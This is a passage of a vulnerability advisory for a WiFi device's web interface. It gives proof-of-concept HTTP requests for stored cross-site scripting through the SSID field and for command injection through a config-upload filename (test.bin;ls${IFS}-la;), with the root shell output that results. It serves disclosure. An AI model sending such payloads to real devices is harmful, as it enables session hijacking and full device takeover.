The SSID of the WiFi can be configured to contain arbitrary JavaScript code. An attacker can exploit this vulnerability by luring a victim to visit a malicious website. Furthermore, it is possible to hijack the session of the attacked user. 2) Authenticated Command Injection (CVE-2024-5411) The filename parameter of the config file upload is prone to a Command Injection vulnerability. This vulnerability can only be exploited if a user is authenticated to the web interface. This way, an attacker can invoke commands and is able to get full control over the whole device. Proof of Concept ------------------------------------------------------------------------------- 1) Stored Cross-Site Scripting (CVE-2024-5410) Stored Cross-Site Scripting can be triggered by placing JavaScript code into the SSID input field of the web interface as authenticated user. A single request for injecting the script is shown below: ------------------------------------------------------------------------------- POST /cgi-bin/wl_set.cgi HTTP/1.1 Host: Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 659 Connection: keep-alive Cookie: auth=YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 sel_op_mode=client&sel_mssid=0&tf_ssid=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&sel_isolation=0& sel_mssid_isolation=0&sel_auth_mode=0&rb_wep_authmode=0&sel_wep_enc_bits=0& sel_wep_key_type=0&tf_key1=&tf_key2=&tf_key3=&tf_key4=&rb_wpapsk_authmode=0& rb_wpapsk_enc=0&tf_wpa_key=&rb_wpa_authmode=0&rb_wpa_enc=0&tf_ip1=&tf_ip2=& tf_ip3=&tf_ip4=&tf_radius_port=&tf_radius_key=&tf_ip1_1x=&tf_ip2_1x=& tf_ip3_1x=&tf_ip4_1x=&tf_radius_port_1x=&tf_radius_key_1x=&bt_save=Save& lang=en&channel=0&isolation=0&mssid_isolation=0&auth_mode=0&wep_authmode=0& wpapsk_authmode=0&wpa_authmode=0&wpa_enc_type=0&wep_enc_bits=0&wep_key_type=0& wep_key_index=0&ret_msg= ------------------------------------------------------------------------------- 2) Authenticated Command Injection (CVE-2024-5411) A command can be injected in the filename of the uploaded config. By sending a request as shown below, the content of the current directory can be shown: ------------------------------------------------------------------------------- POST /cgi-bin/admin_config.cgi?todo=upconf HTTP/1.1 Host: User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------347087158737672164432057801583 Content-Length: 563 Connection: keep-alive Cookie: auth=YWRtaW46YWRtaW4= Upgrade-Insecure-Requests: 1 -----------------------------347087158737672164432057801583 Content-Disposition: form-data; name="upfile"; filename="test.bin;ls${IFS}-la;" -----------------------------347087158737672164432057801583 Content-Disposition: form-data; name="bt_upconf" Upload -----------------------------347087158737672164432057801583 Content-Disposition: form-data; name="lang" en -----------------------------347087158737672164432057801583 Content-Disposition: form-data; name="ret_msg_upconf" -----------------------------347087158737672164432057801583-- ------------------------------------------------------------------------------- This request is equal to executing "ls -la" on the console of the device. ------------------------------------------------------------------------------- HTTP/1.0 200 OK tar: can't open '/tmp/test.bin': No such file or directory drwxr-xr-x 4 root root 1024 Mar 7 14:36 . drwxr-xr-x 8 root root 1024 Jan 30 2024 .. -rwxr-xr-x 1 root root 17572 Jan 30 2024 admin_config.cgi -rwxr-xr-x 1 root root 17584 Jan 30 2024 admin_default.cgi -rwxr-xr-x 1 root root 15984 Jan 30 2024 admin_fwup.cgi -rwxr-xr-x 1 root root 12476 Jan 30 2024 admin_password.cgi -rwxr-xr-x 1 root root 13164 Jan 30 2024 admin_restart.cgi -rwxr-xr-x 1 root root 33336 Jan 30 2024 adv_filters.cgi -rwxr-xr-x 1 root root 15032 Jan 30 2024 adv_misc.cgi -rwxr-xr-x 1 root root 72168 Jan 30 2024 adv_rstp.cgi -rwxr-xr-x 1 root root 6588 Jan 30 2024 backup_unit.cgi [...] ------------------------------------------------------------------------------- The vulnerabilities were manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).
